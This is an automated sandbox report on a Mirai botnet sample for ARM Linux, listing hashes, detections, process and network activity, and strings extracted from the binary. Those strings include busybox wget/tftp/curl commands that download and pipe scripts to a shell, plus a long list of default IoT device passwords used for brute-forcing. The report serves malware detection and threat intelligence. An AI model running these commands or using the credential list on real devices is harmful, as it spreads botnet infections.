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Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:	arm5.elf
Analysis ID:	1591564
MD5:	4136a2fe601d4d7e49ddc74880a2c8de
SHA1:	99e820ccbda7548982463abc02cc11748ec89fd8
SHA256:	0fc08e34e400db6d8f55c93663e91446cbd954f57c07249ae8ff4a8d162ac0f6
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591564
Start date and time:	2025-01-15 05:02:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm5.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/arm5.elf
PID:	5508
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

arm5.elf (PID: 5508, Parent: 5424, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf

dash New Fork (PID: 5554, Parent: 3633)

rm (PID: 5554, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.X9MGmBmtBJ /tmp/tmp.tbvJOKURSG /tmp/tmp.R2QNHYP45D

dash New Fork (PID: 5555, Parent: 3633)

rm (PID: 5555, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.X9MGmBmtBJ /tmp/tmp.tbvJOKURSG /tmp/tmp.R2QNHYP45D

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm5.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5508.1.00007f3b90017000.00007f3b9002f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: arm5.elf

ReversingLabs: Detection: 31%

Source: arm5.elf

String: /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k

Source: /tmp/arm5.elf (PID: 5508)

Socket: 127.0.0.1:43478

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: arm5.elf	String found in binary or memory: http:///curl.sh
Source: arm5.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 37904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37904

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnprootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd echo '#!/bin/sh' > check_pids.sh
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@2/0

Source: /usr/bin/dash (PID: 5554)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.X9MGmBmtBJ /tmp/tmp.tbvJOKURSG /tmp/tmp.R2QNHYP45D			Jump to behavior
Source: /usr/bin/dash (PID: 5555)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.X9MGmBmtBJ /tmp/tmp.tbvJOKURSG /tmp/tmp.R2QNHYP45D			Jump to behavior

Source: /tmp/arm5.elf (PID: 5508)

Queries kernel information via 'uname':

Jump to behavior

Source: arm5.elf, 5508.1.00007ffd1c5c3000.00007ffd1c5e4000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 5508.1.0000555c7a3da000.0000555c7a528000.rw-.sdmp	Binary or memory string: ?z\U!/etc/qemu-binfmt/arm
Source: arm5.elf, 5508.1.0000555c7a3da000.0000555c7a528000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 5508.1.00007ffd1c5c3000.00007ffd1c5e4000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 5508.1.00007ffd1c5c3000.00007ffd1c5e4000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm5.elf, type: SAMPLE
Source: Yara match	File source: 5508.1.00007f3b90017000.00007f3b9002f000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm5.elf, type: SAMPLE
Source: Yara match	File source: 5508.1.00007f3b90017000.00007f3b9002f000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm5.elf	32%	ReversingLabs	Linux.Trojan.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	arm5.elf	false		high
http:///curl.sh	arm5.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.171.230.55	unknown	United States		16509	AMAZON-02US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
54.171.230.55	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse
	main_m68k.elf	Get hash	malicious	Mirai	Browse
	p-p.c-.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	SH4.elf	Get hash	malicious	Unknown	Browse
	ARMV4L.elf	Get hash	malicious	Unknown	Browse
	vevhea4.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	jefne64.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	main_arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	main.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	rbot.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	Kloki.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	Invdoc80.pdf	Get hash	malicious	HTMLPhisher	Browse	52.219.125.106
	https://padlet.com/prowebsolutions488/new-message-jba6y6w7rg9tzzmn	Get hash	malicious	HTMLPhisher	Browse	18.245.86.58
	XB6SkLK7Al.dll	Get hash	malicious	Wannacry	Browse	3.121.114.254
	ue5QSYCBPt.dll	Get hash	malicious	Wannacry	Browse	54.170.200.2
	wmnq39xe8J.dll	Get hash	malicious	Wannacry	Browse	130.176.180.137
	330tqxXVzm.dll	Get hash	malicious	Wannacry	Browse	54.65.187.1
	EXTERNAL Your company's credit limit has changed!.msg	Get hash	malicious	Unknown	Browse	52.222.236.94
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/Computer-Zubehoer/b/?ie=UTF8&node=340843031&ref_=nav_cs_pc	Get hash	malicious	Unknown	Browse	3.254.238.10
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/b/?_encoding=UTF8&_encoding=UTF8&node=3024314031&bbn=16435051&pd_rd_w=VSdHJ&content-id=amzn1.sym.01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_p=01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_r=E0WD16QK99B55VAWSKBQ&pd_rd_wg=EU3Lj&pd_rd_r=fd3510c2-a6e6-4f59-a468-c59aac80bfa9&ref_=pd_hp_d_btf_unk	Get hash	malicious	Unknown	Browse	34.240.238.69
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/NYNY25/?_encoding=UTF8&pd_rd_w=WqHp4&content-id=amzn1.sym.33dfa5bb-d117-4590-a21d-8b7be5a7ab9d&pf_rd_p=33dfa5bb-d117-4590-a21d-8b7be5a7ab9d&pf_rd_r=E0WD16QK99B55VAWSKBQ&pd_rd_wg=EU3Lj&pd_rd_r=fd3510c2-a6e6-4f59-a468-c59aac80bfa9&ref_=pd_hp_d_btf_unk	Get hash	malicious	Unknown	Browse	108.138.7.91

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.114029778147324
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm5.elf
File size:	97'680 bytes
MD5:	4136a2fe601d4d7e49ddc74880a2c8de
SHA1:	99e820ccbda7548982463abc02cc11748ec89fd8
SHA256:	0fc08e34e400db6d8f55c93663e91446cbd954f57c07249ae8ff4a8d162ac0f6
SHA512:	ba2729a256896e0d3b160b308396ef35922117a1fb23732b4bd3ba650840ff33b86b3d85857ff15b887841f1da9d9f2ef2f93c69daaa7a4754e313271fd448ed
SSDEEP:	1536:i/JPdrHcO8AgfDiJaZnAGvuBNQToANFINQkVCiVVHmunolseOF18vrLiC6Q6nkz7:iRPdrH5gbiJaZnAGvu7QToAjhkQiVQuu
TLSH:	CDA30996F8829A52C5D142BBFE4F838D372663D8D2DF3303DD646F21368B56B1E2A141
File Content Preview:	.ELF...a..........(.........4....\|......4. ...(......................w...w...............w...w...w.......f..........Q.td..................................-...L."...IP..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	97280
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x1415c	0x0	0x6	AX	16
.fini	PROGBITS	0x1c20c	0x1420c	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1c220	0x14220	0x35a0	0x0	0x2	A	4
.ctors	PROGBITS	0x277c4	0x177c4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x277cc	0x177cc	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x277d8	0x177d8	0x3e8	0x0	0x3	WA	4
.bss	NOBITS	0x27bc0	0x17bc0	0x62f4	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x17bc0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x177c0	0x177c0	6.1400	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x177c4	0x277c4	0x277c4	0x3fc	0x66f0	3.1024	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 05:03:24.975040913 CET	37904	443	192.168.2.14	54.171.230.55
Jan 15, 2025 05:03:24.980218887 CET	443	37904	54.171.230.55	192.168.2.14
Jan 15, 2025 05:03:24.980323076 CET	37904	443	192.168.2.14	54.171.230.55

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 05:03:07.591178894 CET	44957	53	192.168.2.14	1.1.1.1
Jan 15, 2025 05:03:07.591238976 CET	53747	53	192.168.2.14	1.1.1.1
Jan 15, 2025 05:03:07.600625038 CET	53	44957	1.1.1.1	192.168.2.14
Jan 15, 2025 05:03:07.601157904 CET	53	53747	1.1.1.1	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 05:03:07.591178894 CET	192.168.2.14	1.1.1.1	0x1f56	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 05:03:07.591238976 CET	192.168.2.14	1.1.1.1	0xc117	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 05:03:07.600625038 CET	1.1.1.1	192.168.2.14	0x1f56	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Jan 15, 2025 05:03:07.600625038 CET	1.1.1.1	192.168.2.14	0x1f56	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm5.elf PID: 5508, Parent PID: 5424

General

Start time (UTC):	04:03:02
Start date (UTC):	15/01/2025
Path:	/tmp/arm5.elf
Arguments:	/tmp/arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: dash PID: 5554, Parent PID: 3633

General

Start time (UTC):	04:03:23
Start date (UTC):	15/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5554, Parent PID: 3633

General

Start time (UTC):	04:03:23
Start date (UTC):	15/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.X9MGmBmtBJ /tmp/tmp.tbvJOKURSG /tmp/tmp.R2QNHYP45D
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 5555, Parent PID: 3633

General

Start time (UTC):	04:03:23
Start date (UTC):	15/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 5555, Parent PID: 3633

General

Start time (UTC):	04:03:23
Start date (UTC):	15/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.X9MGmBmtBJ /tmp/tmp.tbvJOKURSG /tmp/tmp.R2QNHYP45D
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

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Linux Analysis Report arm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm5.elf PID: 5508, Parent PID: 5424

General

Chronological Activities

Analysis Process: dash PID: 5554, Parent PID: 3633

General

Chronological Activities

Analysis Process: rm PID: 5554, Parent PID: 3633

General

Chronological Activities

Analysis Process: dash PID: 5555, Parent PID: 3633

General

Chronological Activities

Analysis Process: rm PID: 5555, Parent PID: 3633

General

Chronological Activities

Linux Analysis Report
arm5.elf